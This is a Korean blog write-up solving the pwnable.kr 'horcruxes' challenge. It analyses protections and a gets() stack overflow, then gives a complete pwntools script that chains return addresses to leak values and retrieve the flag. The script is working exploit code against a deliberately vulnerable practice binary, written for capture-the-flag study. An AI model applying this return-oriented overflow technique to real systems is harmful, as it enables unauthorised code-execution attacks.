-
pwnable.kr - horcruxespwnable.kr 2023. 6. 7. 14:15
checksec canary와 PIE가 미적용되어있다.
main hex-rays로 본 main함수의 모습이다. 순서대로 호출되는 함수들을 확인한다.
init_ABCDEFG 랜덤한 값을 a, b, c, d, e, f, g 에 넣은 후 모두 더한 값을 sum 변수에 저장하고 있다.
seccomp-tools dump ./horcruxes 시스템 콜을 제한적으로 적용(ALLOW LIST)하고 있다. unintended solution을 방지하기 위한 코드로 보인다.
ropme A sum 변수의 값과 v4의 값이 일치한 경우 flag를 출력한다.
gets()에서 stack buffer overflow가 발생하고 있으며 canary, PIE가 미적용되어 있기 때문에 코드 내 임의의 영역으로 실행흐름을 변조할 수 있다.
from pwn import * shell = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest') p = shell.remote('0.0.0.0', 9032) e = ELF('./horcruxes') A = p32(e.symbols['A']) B = p32(e.symbols['B']) C = p32(e.symbols['C']) D = p32(e.symbols['D']) E = p32(e.symbols['E']) F = p32(e.symbols['F']) G = p32(e.symbols['G']) payload = b"A" * 0x74 + b"B" * 0x4 payload += A + B + C + D + E + F + G + p32(0x0809fff9) # call ropme() p.sendlineafter(b"Select Menu:", b"1") p.sendlineafter(b"How many EXP did you earned? : ", payload) EXP = 0 for i in range(7): p.recvuntil(b"EXP +") EXP += int(p.recvuntil(b")")[:-1],10) success(EXP) p.sendlineafter(b"Select Menu:", b"1") p.sendlineafter(b"How many EXP did you earned? : ", str(EXP)) p.interactive()
최종 exploit 코드다. 처음에는 a,b,c,d,e,f,g 변수를 확인하지 않고 바로 flag를 출력하는 코드로 실행흐름을 옮기려고 했는데 ropme()의 주소에 line feed(0x0a)가 포함되어 있어 payload가 정상적으로 전달되지 않았다. 그래서 어쩔 수 없이 A, B, C, D, E, F G를 모두 출력해 EXP의 총합을 구하는 방식으로 문제를 해결했다.
flag * 때때로 EXP의 총합이 int 자료형의 범위 밖 값을 가져서 flag가 정상적으로 출력되지 않을 수도 있음
728x90'pwnable.kr' 카테고리의 다른 글
pwnable.kr - blukat (1) 2023.06.06 pwnable.kr - unlink (0) 2023.06.06 pwnable.kr - asm (0) 2023.05.05 pwnable.kr - memcpy (0) 2023.05.04 pwnable.kr - uaf (0) 2023.04.24